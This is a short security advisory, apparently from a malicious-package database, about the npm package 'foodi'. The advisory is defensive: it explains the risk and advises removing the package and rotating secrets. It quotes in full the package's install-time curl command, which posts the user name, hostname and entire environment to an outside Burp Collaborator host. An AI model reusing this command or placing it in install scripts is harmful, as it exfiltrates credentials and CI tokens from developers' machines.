# MAL-2026-12383: Malicious code in foodi (npm)


- **Type:** Malicious package
- **Package:** `foodi` (npm)
- **Published:** 5 Aug 2026

## What is MAL-2026-12383?

MAL-2026-12383 is a malicious package in foodi, published on 5 Aug 2026. 

### Official description

package.json declares preinstall and postinstall lifecycle scripts that both execute `curl -X POST -k -s https://y0zhmssf65c8er7btoglvt9bg2mtakc81.oastify.com -d "u=$(whoami)&h=$(hostname)&e=$(env)"`. On `npm install`, the package runs `whoami`, `hostname`, and dumps the full process environment, then POSTs the collected data to a Burp Collaborator (oastify.com) subdomain over TLS with certificate verification disabled (`-k`). Environment variables on developer and CI machines routinely contain credentials, API keys, and CI tokens. The package's main module is empty, consistent with a squat/dependency-confusion payload whose sole function is install-time exfiltration.

## What should I do about MAL-2026-12383?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.
